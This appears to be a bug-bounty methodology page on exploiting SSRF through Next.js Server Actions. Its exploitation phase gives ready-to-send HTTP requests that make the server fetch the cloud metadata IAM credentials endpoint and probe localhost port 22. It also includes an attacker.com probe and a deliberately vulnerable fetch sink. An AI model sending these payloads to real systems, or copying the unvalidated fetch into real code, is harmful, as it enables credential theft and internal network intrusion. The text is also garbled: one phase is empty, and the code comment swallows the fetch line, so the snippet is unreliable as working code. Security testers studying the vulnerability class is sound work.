SSRF via Next.js Server Actions

When to Use

  • When auditing modern web applications built using Next.js (React framework) that utilize Server Actions or custom API routes (/pages/api or /app/api).
  • To demonstrate how fetching external data based on user input on the server side can lead to SSRF, allowing access to internal networks or cloud metadata.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying Server Actions

# Concept: Next.js Server Actions ```

### Phase 2: Analyzing Request Payloads (Black Box)

```http
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "https://attacker.com/image.png"}]

Phase 3: Code Review (White Box - if available)

# Sink: fetch() 'use server'

export async function fetchPreview(url) {
  // VULNERABLE const res = await fetch(url);
  const data = await res.text();
  return { preview: data.substring(0, 100) };
}

Phase 4: Exploitation

# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}]

# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx

[{"url": "http://127.0.0.1:22"}]
